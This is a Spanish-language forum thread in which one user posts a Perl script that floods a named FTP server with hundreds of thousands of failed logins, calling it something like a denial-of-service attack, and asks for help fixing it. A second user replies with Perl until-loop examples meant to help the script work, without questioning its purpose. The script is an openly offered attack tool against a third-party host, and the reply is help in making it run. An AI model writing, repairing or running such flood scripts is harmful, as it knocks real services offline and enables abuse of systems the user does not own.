Ftp en perl !

[PHAMTOM]

Buenas,estaba escribiendo un programa , para un ftp que es vulnerable a multriples conexiones fallidas, pero no me funciona muy bien , aca esta el codigo , aver si podeis encontrar el error

Código [Seleccionar] Expandir


#Logo
print q(
Flood ftp
);
use Net::FTP;
#Create user and pass
my $contador=0;
my $userpass="AAAAAA";
do
{
print("Intentos : $contador");
$userpass x 1;
$contador++;
my $ftp = Net::FTP->new("ftp.jamaikamu.com") or die("No se pudo conectar al servidor: $!");
$ftp->login($userpass,$userpass);
print("Login incorrecto");
#ACCIONES QUE QUEREMOS EJECUTAR EN EL SERVIDOR
$ftp->quit or die("No se puedo desconectar del servidor: $!");
print("Intentos : $contador");
} until($contador > 600000);

Supuestamente,esto tendria que conectarse al ftp ftp.jamaikamu.com , multriples veces , con un password fallido , que va a ser el $userpass .

No me anda ni el contador, asique no sé,estare haciendo todo mal,antes de seguir mentiendo mano.
es algo parecido a un D.o.S

[~ Yoya ~]

Te recomiendo que primero lo maquetees para que conozca como funciona el modificador until, aunque yo prefería usar for xD.

Ejemplo de until para incrementar:

Código (perl) [Seleccionar] Expandir

#!/user/bin/perl

#Ejemplo de until

my $username = 'hola';
my $password = 'adios';
until($i > 10){
$i++;
$password .=$i;
$login = $username.$password;
print $login, "\n";
}

Salida:

Código [Seleccionar] Expandir

yoya@yoya-desktop:~/Escritorio$ perl a.pl
holaadios1
holaadios12
holaadios123
holaadios1234
holaadios12345
holaadios123456
holaadios1234567
holaadios12345678
holaadios123456789
holaadios12345678910
holaadios1234567891011


O tambien se puede usar para ejecutar lo que esta dentro del modificador las veces que se indique.

Código (perl) [Seleccionar] Expandir

#!/user/bin/perl

#Ejemplo de until

my $username = 'hola';
my $password = 'adios';
until($i > 10){
$i++;
$login = $username.$password;
print $login, "\n";
}
print "Estoy fuera del modificador y no me afecta\n";


Salida:

Código [Seleccionar] Expandir

yoya@yoya-desktop:~/Escritorio$ perl a.pl
holaadios
holaadios
holaadios
holaadios
holaadios
holaadios
holaadios
holaadios
holaadios
holaadios
holaadios
Estoy fuera del modificador y no me afecta
yoya@yoya-desktop:~/Escritorio$



Ya con esto sabrás como se hace xD.